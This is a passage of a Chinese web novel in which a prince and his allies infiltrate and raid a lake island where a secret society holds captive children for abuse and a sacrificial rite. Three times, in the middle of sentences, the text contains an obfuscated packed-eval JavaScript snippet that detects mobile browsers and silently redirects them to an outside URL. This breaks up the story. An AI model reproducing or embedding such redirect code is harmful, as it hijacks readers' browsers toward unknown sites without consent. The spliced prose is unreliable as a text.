“天香楼?”赵煜脸色沉了下来,“这几日在船上没收到消息,竟误了这步。” 叶承勇接着道:“段爷把那人拘了起来,关在密室审问。此人是靖北州来的商客。他从边境同乡商人那听说,瑶京的花月阁不过是寻常风月场所,美则美矣,去几次便腻了。可这青阳县的湖心岛,才真正不一般。” 叶斯年冷笑一声,压低声音问:“什么不一般?” 叶承勇脸色铁青:“他说,这湖心岛上有‘最妙的娈童’,这才托人搭线,费尽心思弄到了一张半票。” “湖心岛只能夜间进出,”叶承勇解释道,“所谓半票,就是天亮之前必须离开。这些拿了半票的人,大多离开后会转道长安府的天香楼。” 话音刚落,内室的门被推开,段风从里面走了出来,脸色阴沉得能滴出水。他扫了众人一眼,透着几分压抑的怒火:“诸位,该清楚湖心岛上在做什么了吧?” 屋内一片死寂,只有灯花炸响,像是风烛残年的老者欲笑未尽,却已咳声连连。 “得派一个人进去,先摸清里面的布局和构造。快到子时,时间不多了。”赵煜开口,语气果断。 段风点点头,补充道:“我水性好,几次从河道边潜入,贴着船底过那道栅栏。不过夜间巡逻密集,岛上的防守几乎滴水不漏,每次都找不到机会登岛。” “我去。”卫珩沉声说道,语气坚定。青枝也紧跟着道:“我也可以。” “不行!”叶斯年断然拒绝,神色冷峻,“天寒水冷,长时间泡在水里风险太大。一旦被发现,谁能救你们?” 韩婉轻叹一声:“叶将军最快也要四日才能赶到。我们从瑶京一路南下,叶家军的精锐在润州已经散去长安了,如今江上不足半百。眼下,青阳县只有我们这些人,实在不可再分散。” 话音未落,赵煜忽然开口:“当然是我去。” 众人一愣,叶斯年脱口而出:“你一个人怎么行?” 赵煜从容说道:“这张票明天就作废了。再等下去,未必能抓到落单的人。大多数人结伴同行,带着护卫,稍有差池就会打草惊蛇。”他扫了一圈众人,目光坚定,“我以普通客人的身份进去,探清岛上的布局,为之后的行动铺路。” “可也不能让殿下去冒险,我去。”叶承勇沉声说道。 段风闻言微微皱眉,老闵头更是明显地愣了一下。叶斯年一行人到来前,段风早已看穿了他们的身份,他无所谓,但老闵头却显得有些不知所措。 “军师不是已经说了,不可分散火力吗?”赵煜语气笃定,目光直视叶承勇,“由我去,才是最安全。”他的态度不容置喙。 叶斯年心中猛地一紧。道理她明白,此时由赵煜上岛确实最为妥当。他身份特殊,真遇上危险,亮出身份,玄月司不会轻举妄动,反而会把他当成筹码。至少,他能保住性命。 事不宜迟,叶斯年一路陪赵煜到了小河边,韩婉与卫珩随行,四人如先前一般,仍扮作商人夫妇与随从。河岸上人声杂沓,鲜见其他女子,引得一旁的商人笑着调侃:“少见哪,带娘子到这种地方。” 赵煜察觉叶斯年的情绪不对,轻轻揽住她,俯身贴近耳边低声道:“现在明白我为什么不同意你递拜帖了吧?别总是那么莽撞。你没来的时候,我真的很孤单。” 叶斯年听着他的话,脑中像被什么东西击中一般,短暂地一片空白。她低下头,指甲不自觉地掐进手掌心。想到他即将只身涉险,一种熟悉的压迫感从胸口缓缓攀上喉咙,仿佛无形的手死死攥住了她的心脏,每一次呼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14819293|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吸都伴随着刺痛和窒息感。周围的嘈杂声仿佛被放大,脚步声像是撞击着她的耳膜,越来越急促。她觉得自己的身体变得僵硬,如鲠在喉。 赵煜察觉到她的异样,一边握住她的肩膀,一边轻轻将她攥紧的手拢在掌心摩挲着,低声笑道:“不要小瞧我们之间的羁绊啊。” 叶斯年抬头看向他,眼眶微红,却被他这句话逗得哭笑不得。 赵煜见状,嘴角微扬,作出一副侠客模样,语气笃定:“天亮回来,我说到做到。” 他转身登船,步伐果断利落。岸边的商人目送赵煜离去,笑道:“家中娘子这般美色,小哥儿真舍得?”话音刚落,目光扫过赵煜脸上那道骇人的疤痕,瞬间噤了声,讪讪地低下头。 叶斯年看着赵煜渐行渐远,胸口像堵了一团无处宣泄的郁结,压得她喘不过气。她的手紧握成拳,心头涌动的情绪几乎让她想抓起什么东西狠狠砸在地上。 长安府,深秋夜寒,霜气袭人。 赵渊紧攥着信,指节泛白,眼中烛光微颤。他冷喝一声,抬手掀翻案桌,茶盏碎了一地,划破短暂的和平,也将彼此拙劣的伪装彻底撕裂。 瑾年与杨明煊出发前,便遣人快马送上东华郡主的拜帖,以稳住长安府的局势。赵渊果然派人提前在城门外等候,称已为郡主一行安排好住处。瑾年以夜深路远、舟车劳顿为由,推说改日再拜访二皇子殿下。 城门在夜色中缓缓开启,夜风裹着寒意穿街过巷。守城士卒打着灯笼,引领明煊与瑾年的马车缓缓驶向城东的一处小院。瑾年攥紧衣袖,目光掠过半掩的窗帘,尽管她目力过人,此刻也是半点线索都捕捉不到。 “安心,有婉儿的手信在,二殿下不会为难。”明煊试着安抚,却难掩心虚。 瑾年摇头,轻声道:“我倒不担心这个,只是不知道青阳县那边怎么样了。明日见了二殿下,得想办法探探他的口风。” 然而,赵渊已在小院等候了。 他端坐在大堂,手中的茶盏缓缓转动,指腹轻摩擦着杯沿。他的目光似落在盏中荡开的涟漪上,却飘忽无定,没有焦点。 门口传来马车的动静,他抬眸一瞥,眉头微不可察地动了动,随即又恢复平静。茶盏在他指间轻顿片刻,又再次旋转起来。大堂内的随从顿时垂下头,屏声敛息。 “夜已深,本不想惊扰几位娘子,”赵渊缓缓抬头,目光扫过两人,语气温和中透着一丝审视,“为何只有你们?东华郡主呢?” 瑾年低着头,双手绞着衣袖,声音微微发颤:“殿下,郡主……阿姐她暂时有事儿耽搁了,明日便到。” 赵渊眉头微蹙:“耽搁?出了何事?” 杨明煊深吸一口气,深知瞒不过赵渊,将韩婉托付的信递了过去:“殿下,这是婉儿让我转交的信。” 赵渊接过信,小心拆开,目光飞快扫过纸上的字。他的脸色瞬间阴沉,指节攥得发白。抬眸时,他的眼神已如寒刃般冰冷:“婉儿在哪?” 瑾年和明煊沉默不语,气氛如绷紧的弦般一触即断。 赵渊忽然冷笑一声,猛地掀翻案桌,茶盏碎裂声在寂静中尤为刺耳。他的语气寒彻如冰:“这算盘打得好啊!” 他转身怒声下令:“备马,去沧渊湖!” 36.收网 “速速备马!”赵渊在院中来回踱步。随行的士卒闻令而动,脚步声在空旷的院落里回荡。 他解下腰间的令牌,递给身旁的杨明煊:“从现在起,长安府由你全权调度。我信你一次,希望你不要辜负她的信任。” 杨明煊接过令牌,眼中掠过一抹复杂的情绪。出发前,她还在怀疑赵渊与玄月司有牵连。 “明晚子时以后,伺机行动,封了天香楼。”赵渊语调沉冷,“杨老将军带大的孙女,这点事不用我多说吧?” 瑾年接话:“殿下指的,就是花月阁的新楼,玄月司在长安府的销金窟。” 赵渊没有正面回应,只是微微颔首,算是默认:“你们自己看着办。” 杨明煊垂下头,声音沉稳而有力:“明煊定不负殿下所托。” 赵渊转过身,目光落到一旁的瑾年,眼神如刀般锐利:“婉儿说你聪慧过人,颇有谋略。”顿了顿,他补充道:“现在,把你知道的消息全都告诉我。” 瑾年微微颔首,沉着冷静地将现有情报简明扼要地交代清楚,既不藏拙,也不拖沓。她不动声色地观察着赵渊,心中却渐起波澜——他对局势的掌控远超她的预料,甚至连明晚子时的关键节点都清楚。可那究竟是什么时机?难道玄月司真的在湖心岛布下了埋伏? 一念至此,瑾年不由得暗暗揣测:这位二皇子,为了探明玄月司的秘密,怕是早已将自己置于险境。他种种布局的背后,似乎连自己也算计了进去。若不是他们意外闯入青阳县,恐怕在天香楼被抓的,便是这位二皇子和玄月司的一干人等。 倘若真是如此,这一趟最危险的人,或许不是东华郡主与太子殿下,而是这位二皇子。 赵渊听完瑾年的讲述,只问了一句:“婉儿怎么样?”声音低沉,却难掩急切。 瑾年从袖中取出一卷诗稿,递到他面前:“婉儿那日微醺时随口作的诗,殿下不妨一阅。”这是她临行前特意誊写的。原稿她曾给太子殿下,依殿下阅后所言,诗中所指的“俗客”,便是眼前的赵渊。 赵渊一把接过诗卷,迫不及待地展开。纸张在烛光下微微透亮,他的目光一行行扫过,眼中情绪层层翻涌。 “这里交给你们了,务必将长安府围得水泄不通。”他深吸一口气,将所有情绪都压回心底,再次抬头时,神色已恢复平静。 瑾年福身行礼:“谨遵殿下吩咐,但还请殿下珍重。无论山门谶语是真是假,太子殿下、太尉,甚至婉儿,许多人都倾力相助。孤军奋战,终究不是上策。” 赵渊闻言,眼底掠过一丝波动,却没回应。 天边翻起鱼肚白,赵渊率一众属下在古驿道上纵马疾驰,马蹄声如狂风呼啸,冲破浓雾,直奔前方的曙光。而这场浓雾的另一端,叶斯年背对着初升的朝阳:“天亮了。” 耳畔传来船桨拨动水面的声音,几艘小船载着零散的商客,缓缓离开青阳县。众人的脸色都很凝重。河道上的船只渐渐多了起来,有挑着货担的,也有扛着箱子的,杂乱的人群不停进出沧渊湖。 “干脆直接冲岛吧。”段风低声道,语气中带着一丝不耐。 卫珩看着不远处扛着箱子上岛的一群人身上:“我有把握混进去。” 叶斯年没有立刻接话,眉头紧锁,神色压抑。她的心始终揪着,像拉满的弓弦,稍有不慎便会失控。她努力集中注意力,强迫自己压下翻涌的情绪,否则她都不知道自己会做出什么可怕的事。 韩婉轻轻拉住她的手:“郡主,你不能慌。殿下即便有事,也会亮出身份。玄月司那些人不会轻举妄动,殿下会让他们送信出来,这些都是昨晚商量好的。” 叶斯年抿紧唇,沉默不语。韩婉继续说道:“这个时候贸然冲进去,万一殿下进展顺利,咱们反而会坏了他的事。冷静些,按计划行事。” 院外,传来几声杂乱的脚步声,紧接着是赵煜醉醺醺的声音,带着几分豪放:“大哥!等我去长安找你吃酒!哈哈……我家娘子还在等着我,可不能耽搁!” 叶斯年原本的焦虑瞬间化作怒火。待赵煜晃晃悠悠地迈进客栈,她毫不犹豫地一拳挥了过去:“浪荡子” 赵煜抬手试图接住她的拳头,见她眼中燃着怒火,又噙着泪花,动作顿了顿。他没有闪避,索性迎上那一拳,任由她结结实实地砸在自己的手臂上。 “这不是天亮就回来了嘛?”赵煜揉了揉手臂,嘴角动了动,却始终没能勾起笑意。满身酒气的他步伐虚浮,靠在卫珩身上,像是拉满一夜的弓弦终于崩断。“我们郡主下手还真不轻。”他还想强作轻松,但眼底的疲惫与痛苦却怎么也掩饰不住。 随手抓起水壶,赵煜仰头猛灌了几口,凉水顺着喉咙灌下,混乱的思绪稍稍平复。他擦了擦嘴角:“等不了援军了,今晚就登岛。” “拿纸笔来,计划一下。”他语调轻飘,却透着不容置喙的威压。屋内陷入死寂,无人敢开口,甚至连一点声音都不敢发出。 叶斯年走到桌旁,抓起研石开始研墨。她的动作有些急,墨汁洇开了一片,将砚台的边缘染得模糊不清。时不时地,她抬眼瞟向赵煜,眉头紧紧拧着,却始终没有出声。 赵煜从刚进门起就一直低垂着眼,彻夜的疲惫刻在脸上。叶斯年看着他的模样,心中一阵发紧,不由想起叶绍提过的那一晚——赵诘崩溃了。她隐约担忧,赵煜在岛上或许目睹了类似的龌龊场景,却不得不为了大局强忍住情绪,咽下所有的痛楚与愤怒。 赵煜坐下,不紧不慢地在纸上勾画出湖心岛的布局,一边画一边说道:“岛上分三层,最外层是赌场和酒楼,供人娱乐消遣。再往里,分别是关押童男、童女和名妓伶人的三栋楼。” 他手中的笔在地图上划过,指向最中心的位置,语气陡然一沉:“最深处是长生楼,真正的核心所在。普通的请帖只能到外围两层。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832238|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祭坛,应该就在长生楼。今晚子时,岛上的祭坛将启动。这次开岛的真正目的,便是为了这个祭祀。” 赵煜顿了顿,目光掠过众人,声音低哑:“会有许多权贵赶来,据说通过献祭可以延年益寿。而被献祭的对象……” 他手指轻叩桌面,压抑着愤怒:“或许并不是那两栋楼里的孩子,据说还有专门为献祭关押的人。但那些孩子的境况,如今又何尝不是另一种献祭?” 屋内寂静无声,仿佛连呼吸都变得沉重。每个人的脸上都蒙上一层阴霾,神色愈发凝重。 赵煜放下笔,抬起头,声音坚定而冰冷:“等不了援军,今晚就是最后的机会。即便打草惊蛇,也顾不得了。毁了祭祀,救人要紧。岛上现在可能有五六百号受困者。” 他的话一字一句钉入人心,屋内无人应声。 昨夜,赵煜渡过河湾,潜入沧渊湖。远远望去,湖心岛上的高楼在夜雾中灯火通明,透着一股诡谲的繁华。他装出迫不及待的模样,递上请帖,顺利登岛。 他沿着熙攘的人群缓缓游走,目光不动声色地扫过每一栋楼。门边的孩子们迎着他的目光挤出谄媚的笑容,动作机械,眼中早已没了孩童应有的天真。他停下脚步,与几个孩子闲聊,装出兴致盎然的模样。 有一声尖锐的喊叫从楼中传出,紧接着是一记沉闷的巴掌声。尖叫戛然而止,周围喧嚣不断,仿佛那一声是他的幻觉。 他不忍看,却不得不看,还必须强迫自己深陷其中。有人走上前来递酒、拂衣,试图讨好他。他的沉默让自己愤怒,却只能维持一副享受的神情,沉醉在这盛世之下的荒诞闹剧中。 无法进入最深处的长生楼,他转回外围的赌坊,混迹在醉意熏天的权贵之间,举杯谈笑,周旋于污浊的喧嚣里。 在赌桌上,他结识了一位长安来的商人。那人毫无顾忌地畅饮高谈,嘴里满是些令人作呕的笑话。他拍着赵煜的肩膀,大笑着邀他去天香楼喝酒。 赵煜强忍内心的不适,与他虚与委蛇,借机套出了不少有用的情报,其中便包括长生楼祭坛的传闻。那商人提起此事时,直言进入长生楼的报价太高,他自己无意延年益寿,只想及时行乐。说着,还大笑着将一名倌人推向赵煜怀里,满脸戏谑。 那人肥肉横生的丑恶嘴脸,与孩子们谄媚却空洞的笑容交织在一起,伴随着楼中传出的尖叫声,反复在赵煜脑海中回荡,挥之不去。他的胃一阵剧烈翻涌,猛地弯下腰,剧烈地呕吐起来。 江面薄雾渐散,一艘载满货物的船在青阳县的江段上搁浅了。 一位江湖侠客模样的人倚在船栏边,手中折扇轻敲着栏杆,漫不经心地望着远处的青阳县码头。 “韩婉让我来,也没说什么事。”她语气平静,神色淡然,“这么大的鱼,可别闹得鱼死网破。” “长公主殿下,还是耐心等婉儿的信号吧。”范思醴站在一旁应道。 37.登岛 赵煜一把将她拉进房间。他几乎是在关门的同时就抱住了她。他克制着力道,颤抖着,像是终于抓住了一根能让他喘息的浮木,小心翼翼,既怕她挣脱,又竭力压抑翻涌的情绪。他知道叶斯年抗拒肢体接触,也不喜欢他总是借机表白,可他真的撑不住了。 从昨夜上岛到现在,他一直在忍。那些惨不忍睹的景象在脑海中挥之不去,他就那么看着,却无能为力。自己口口声声的大沅盛世,却容得下这样一座岛。他近乎崩溃。 叶斯年已经记不清自己上一次接受拥抱是什么时候了。她没有挣开,犹豫片刻,试探着抱了抱赵煜:“这不是你的错。” 感受到她的回应,他紧绷了一整夜的神经终于松弛下来,整个人倚靠在叶斯年身上。他不记得自己是否曾有过这样的温暖,前世大概没有。叶斯年没有催促,任由他抱着。 方才众人商议好行动方案后,各自回房歇息,养精蓄锐。可叶斯年一直无法入睡,脑海中交错着赵煜摇摇欲坠的身影与赵诘崩溃的夜晚。她第一次清晰地意识到,自己是无法失去赵煜的。 不是因为他的身份,也不是因为他的存在对她的目标至关重要。赵煜对她而言,早已不只是盟友,而是这个异世界里唯一的支点。仅仅是为了达成目的,她可以接受长公主的提议,成为她的幕僚。可她无法接受赵煜的崩溃,无法眼睁睁看着他破碎。 就像赵诘与李清荣,他们之间的羁绊无法切断。这种情感,既不是爱情,也不是友情,而是在命运裹挟下,两个异乡人之间的共鸣,是彼此在这个世界里唯一的回声。 她终于还是来了。 “不是你的错。”她顿了顿,又缓缓道:“我在想,玄月司或许是某个穿越者建立的。” 赵煜闻言,松开她,目光微敛:“你怎么察觉的?” “一开始是‘半票’这个词,大沅还没有用‘票’来替代‘帖’的习惯,也有称作‘券’、‘合’或‘引’,但绝不会是‘票’。”叶斯年走到桌旁,收拢心绪,“李清荣和赵诘这两个当世的穿越者一开始并不知道玄月司的存在,可它却是一个前朝就有的组织。有没有可能,是某个穿越者利用了它残存的资源,重新打造出如今的玄月司?” “方才有些事我没说。”赵煜语气微沉,带着一丝急切,“岛上的赌场……太现代了。大沅的赌坊大多是牌九、骰子,可岛上竟然有‘二十一点’和‘轮盘’。更离谱的是酒水单,‘金酒’、‘冰茶’、‘琴酒’……” 叶斯年思索片刻,愈发笃定:“这两个世界本就有相似之处,你觉得,是我们那边的,还是这边的?” 赵煜低声道:“能避开所有视线,又能精准拿捏各路权贵的脾性,十有八九是这个世界的人。而且,玄月司很可能在很早以前,就从历史轨迹的偏移中察觉到了穿越者的存在,并暗中布局。” 叶斯年缓缓道:“赵煜刚登上太子之位就死了,而历史上的叶斯年,是个负面人物。最初导致历史偏离的关键点,应该是叶绍平定润州海寇。所以,玄月司现在的怀疑对象,应该是叶绍。” 赵煜微微皱眉,低声道:“那谶语又是怎么回事?” 叶斯年摇头,神色沉凝:“恐怕得找到赵诘,知道历史的走向,才能弄清楚了。” 她忽然抬眼看向赵煜,沉默片刻,笨拙地安慰道:“所以你已经做得很好了。敌在暗,我在明嘛。” 赵煜被她这拙劣的安慰逗笑了,眼中浮现一丝柔光,:“不会说就别说了。你能来,我就很高兴了。” 屋内一时沉寂,赵煜又恢复了那副叶斯年最受不了的深情模样。她没再多言,站起身道:“早点休息吧,晚上见。” 赵煜目送她离开。待房门合上,他靠在椅背上,长长吐出一口气,疲惫如潮水席卷而来,终于沉沉睡去。 夕阳西下,码头渐渐热闹起来,几艘画舫泊在岸边。一群身着华服的人陆续上岸,脸上戴着各式面具,乘轿子进入青阳县腹地。百姓早已在守卫的呵斥下闭门不出,段风的客栈也被搜查过。众人藏身密室,外面的消息由混入其中的叶家军精锐带来。 赵煜低声道:“恐怕正主来了。” 段风翻出几张傩戏面具,随手分发给众人:“倒也省事,免得还得易容。不过,还是要小心些。” 夜幕降临,叶斯年、韩婉和青枝在段风手下的引领下绕回凌江江面。小船靠近码头,叶斯年递上拜帖。守卫扫了一眼,恭敬地退后一步:“岛主已恭候多时,请郡主入内。” 叶斯年心中一凛。韩婉分明说,是青冥堂的人让她引郡主上岛,可眼下这一切,似乎都在岛主的掌控之中。 青枝提着一盏琉璃灯,微微泛着青色柔光,与岸上火把的橙红色截然不同。韩婉上前扶住叶斯年,指尖微微收紧,示意她莫慌,语气淡然道:“郡主有眼疾,这灯柔和些。”随即指了指火把,“烟气呛人,郡主素来不喜。” 护卫闻言,未再多问,熄了火把。 四周登岛者皆戴着面具,有的素白无饰,仅勾勒几笔眼眉,仿佛凝固的笑容;有的则是色彩艳丽、狰狞诡谲的傩戏面具,映着青灯微光,显得诡异莫测。韩婉与青枝也戴着面具,唯独叶斯年毫无遮掩地往前走去。 赵煜带着叶家军精锐与漕帮手下埋伏在河道边的密林中。这片水域有条旧水道,可通往栅栏前的河道。赵煜等人分成三组,段风检查了一遍装备,低声叮嘱:“水底有暗流,跟紧我,别走散了。” 远处飘来绿幽幽的灯,三艘船被几人倒扣着举在头顶,缓缓沉入湖中。船底形成狭小的封闭空间,供他们短暂呼吸。段风此前试验过此法,能撑半个时辰。但湖水冰冷,氧气消耗更快,二氧化碳浓度也会不断上升,叶斯年计算后提醒他们尽量在两刻钟内逐个上岸。 水下死寂而寒冷,湖水包裹着他们的身体,压迫感被黑暗放大。众人屏息前行,尽量放缓呼吸。湖底的淤泥被脚步搅起,视线愈发模糊,唯有水面折射下来的幽绿灯光引领着他们前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841384|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行。 四周静得可怕,只有微弱的水声和彼此的心跳在狭小的空间内回荡。终于,他们悄无声息地过了栅栏,向湖心岛逼近。 湖心岛灯火通明,却没有赵煜描述的那般喧嚣,反倒透着一股诡谲的寂静。叶斯年踏上石阶,目光扫过迎接她的几名守卫。为首之人身着深色长袍,腰间悬刀,半张脸隐在银色面具下,只露出一双漠然的眼睛。 “属下参见郡主,岛主已恭候多时。”他微微躬身,语调恭敬,却不卑不亢。 叶斯年未急着开口,而是微微扬起下巴,似笑非笑地打量着他,语气淡然,从容不迫:“岛主倒是好生周到。”她唇角微微勾起,笑意不达眼底,“本郡主千里迢迢而来,岛主却未曾亲迎,倒是让这么多持刀带枪的护卫在此相候——这是待客之道,还是……另有所谋?” 青枝和韩婉闻言,神色微变,立刻拔刀上前,警惕地护在叶斯年身侧。岸边的守卫下意识地绷紧身形,目光齐刷刷落在她们身上。身后的船只被叶斯年挡着无法靠岸。气氛瞬间凝滞,剑拔弩张,无人察觉黑暗中的涟漪。 湖面下,几道黑影悄无声息地贴着水面,缓缓逼近湖心岛后方。段风率先探出头,迅速扫视四周,见守卫的目光仍聚焦在叶斯年身上,便毫不迟疑地攀上石阶,身后几人紧随其后,动作迅捷无声。 他们悄然逼近,动作凌厉干脆,几个守卫甚至来不及发出声音。段风等人迅速换下他们的衣甲,随后抛入水中。 赵煜、卫珩、叶承勇三人伏于水底,将这几个守卫拖入暗流深处。确认无碍后,三人无声无息地上岸,从防水袋中取出华服与面具,迅速换装,混入人群之中。 叶斯年远远瞥见几张熟悉的面具朝她这边看过来,便不再与守卫周旋了。她按下青枝的刀:“你们岛主可有带话?打算如何招待我这个不速之客?” 银色面具的守卫微微颔首,恭谨答道:“岛主言道,今夜盛会,郡主可尽情享乐。若楼下景致不足为趣,郡主亦可移步长生楼,岛主就在楼上恭候。” 叶斯年闻言,心底冷笑。只要她在,岛上的守卫便会将大半注意力放在她身上。既如此,她便不急着上楼,而是带着韩婉与青枝四处游走。 她刻意放缓步子,赌坊依旧热闹非凡,推杯换盏,筹码翻飞,人声鼎沸;伶人舞姿翩跹,丝竹声声悦耳,好一派纸醉金迷的盛宴。可她扫视一圈,却不见一个孩童的身影,心中一凛,隐隐有种不祥的预感了。 她强自镇定,面上仍是一副悠然观赏的姿态,指尖却在袖中微微收紧,掌心已沁出薄汗。她随意驻足在一张赌桌旁,漫不经心地观望,旁人皆恪守沉默,未曾主动搭话。这里的客人多半是瑶京权贵,一开口恐怕便要露了身份。 忽然,她察觉到一丝目光——赵煜。 他隔着人群望着她,却像是在看向她的身后,眼神透着某种警觉。 就在这时,身后传来一道低沉的声音:“你不该来这里,我带你出去。” 38.行动 杨明煊沉默片刻,望着远方夜色,忽然问道:“你觉得,今夜会出什么事?” 瑾年就蹲在墙角,漆黑的夜幕,像是无尽深渊。 “子时一到,青阳县必有大动静。”她缓缓说道,“二殿下之前一直在这边虚与委蛇,应是等着青阳县那边结束后撤往长安,那这里恐怕不仅仅是个落脚点,更像是……庆功宴?” 瑾年犹豫了一下:“也许是想来个瓮中捉鳖,一网成擒,连同他自己献给殿下一笔大功。” 杨明煊疑惑:“二殿下若真想剿灭青阳县那窝蛇鼠,为何等到现在?他能忍这等事?” “正是忍不了,才会性情大变吧。定是有更大的代价吧,让他必须忍着。”瑾年目光沉沉,“动摇国本,算不算?” 杨明煊冷笑:“不过是他赵家的国本罢了。这天下谁坐不是坐?” 她的祖父杨戟,曾是大沅赫赫有名的将军,却在润州被先皇一点点削弱,削到最后无力平寇。她曾问祖父可曾心怀怨怼,杨戟只是叹道:“叶家挺身而出,叶霆战死,润州的周家只剩兄妹二人,这天下,谁能独善其身?” 官家登基后,待杨家极好,可杨家军已不复往昔。可祖父却淡然:“杨家军还在,他们只是散在各部,依旧护着这大沅的百姓。” 夜风卷着旌旗猎猎作响,长安府歌舞升平,青阳县笙歌进酒。城楼下,更夫敲响二更锣鼓。 “你不该来这里,我带你出去。”苏廷章低沉的嗓音落在耳边。 叶斯年脚步微顿,却没有回头。她下意识地向赵煜投去求助的目光,后者戴着一副狰狞的傩戏面具,诡谲的笑意活像他本人欠揍的模样。 苏廷章站在她身后,一身锦衣华服,混在人群中毫不起眼,唯独那副素白面具格外刺目。他的目光透过面具的缝隙紧紧锁住她,压抑着难以掩饰的焦急。 叶斯年没有开口,倒是韩婉淡淡道:“苏大人倒是好雅兴,这地方你是说来就来啊?” 苏廷章眉头微皱,压低声音道:“现在不是说这个的时候,郡主跟我走。” “去哪?”叶斯年终于开口,语气淡然,“去长生楼?还是说,苏大人知道祭坛在哪,能直接带我过去?” 苏廷章神色一沉,声音更低了几分:“你知不知道自己在做什么?这里不是你能来的地方!” “那苏大人呢?”叶斯年冷笑,“你能来?” 她指尖微微发凉,心底涌起一股说不清道不明的情绪。她不敢深想——如果她没有来,此刻的苏廷章,会不会正端坐在长生楼的某个贵宾席上? 苏廷章没有回答,伸手便想拉她:“这场局是冲着你来的,你必须立刻离开。” 叶斯年没有动:“可你总不是因为我才来的吧?” 苏廷章的手僵住,沉默片刻,终于低声道:“长公主让我来的。” 赵玥?叶斯年微微一愣,心头猛地一沉。 一瞬间,太多线索在脑海中浮现,她心跳微微加快,可苏廷章却没给她继续思考的机会,再次伸手,语气低沉而急切:“不管怎样,先跟我走,来不及了。” 就在此时,一道慵懒的嗓音自旁传来—— “这位娘子生得国色天香,怎的落在这鱼龙混杂之地?不知可有兴趣玩一把?” 叶斯年循声望去,只见赵煜端着酒杯缓步而来,步伐闲散,唇角含笑,眼底却透着一丝锋芒。 苏廷章盯着赵煜,压抑着怒意,声音更沉了一分:“你就这么让她涉险?你知道这是什么地方吗?” 赵煜耸了耸肩,漫不经心道:“她在哪儿,我就在哪儿。” 韩婉轻轻一笑,视线落在苏廷章身上,淡淡道:“苏大人,不如陪我坐坐?这边的酒水倒是挺有意思。” 苏廷章深吸了一口气,眼底情绪越发复杂。 叶斯年轻叹一声,强压下心绪,随即抬眸看向赵煜,笑意浅浅:“这位公子——上桌吧。” 赵煜轻笑一声,亦步亦趋地跟了上去。 湖心岛的喧嚣掩盖了水下的动静,湖面之下,几道黑影悄无声息地贴着石壁游动,顺着暗流缓缓靠近。 叶斯年吸引了大部分注意,而他们要做的,便是趁机渗透进这座岛的核心区域。 靠岸的守卫并不算多,其中几人还是方才被段风他们悄然换下的,足够让他们无声无息地渗透上岸。段风比了个手势,示意分头行动,随即贴近一名守卫,寒光一闪,刀锋精准没入颈侧,动作干净利落。几人褪下守卫的衣物与面具,换装伪装,迅速填补防线缺口。水下的漕帮兄弟紧接着拖走尸体,沉入暗流。 短短片刻,外围守卫已被悄然替换了数十人,气氛仍维持着表面的平静,但再拖下去,迟早会引起注意。 段风扫了一眼四周,低声道:“外围已经摸清了,接下来得进长生楼。勇哥儿和卫兄先进去了,我们在外围巡着,等他们信号。”他顿了顿,又叮嘱道:“留两个兄弟在岸边,接应湖面上的大队人马。” 叶斯年握着骰子的手微微收紧,视线掠过赌桌上的筹码,耳边的喧嚣声被她刻意屏蔽,余光始终落在韩婉那边的动向。苏廷章的出现让她心头一紧,他方才的话更像是一记警钟——“这场局是冲着她来的”? 赵煜一副游刃有余的风月老手模样,伸手拿过她手里的骰子,在掌心掂了掂,嘴角微扬,语气漫不经心:“心虚了?” 她冷笑着没有理会,手指轻敲着桌面,漫不经心地扫了一眼四周。 片刻后,她拈起一叠筹码推到桌上:“既然来了,不赌一把大的,岂不是太扫兴?” 赵煜挑眉,随手抛了抛骰子,语气带笑:“娘子想赌什么?” “押大小,简单点。”她淡淡道。 骰盅落下,庄家笑眯眯地做了个请的手势。 骰盅被轻轻摇晃,桌上目光顿时被吸引过去,就连周围几道原本游离的视线,也不约而同地投向了赌桌。 叶斯年察觉到这一点,心中冷笑。赵煜的身份迟早藏不住,玄月司既然能让花月阁的东家亲手把信送到浮生堂,那她一露脸,对方一定会暗中寻找赵煜的踪迹。既然迟早会被盯上,那 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就在此时,赌坊外,一束烟花腾空炸响。行动开始了。 青枝在人群中挟持了一人,韩婉则顺势抽刀,抵在苏廷章侧颈,语气淡淡:“苏大人,既然来了,便走一趟吧。” 一时间,赌坊内的喧嚣戛然而止,只剩下他们几人对峙。赵煜随手摘下面具,漫不经心地扫了眼庄家,笑意不达眼底:“你们老板,该出来了吧?否则,逃出去的人,一个都别想活。” 赌坊之外,尖叫声接连响起,喊杀声瞬间炸开!埋伏的人已开始行动,水下的暗流翻涌,湖面上几艘快船破浪而来,直冲湖心岛,杀气弥漫。 可——不对劲。 叶斯年察觉到异常,眉心微蹙。守卫的反应太慢,防线松懈得诡异,像是在等着他们自己踏进陷阱。 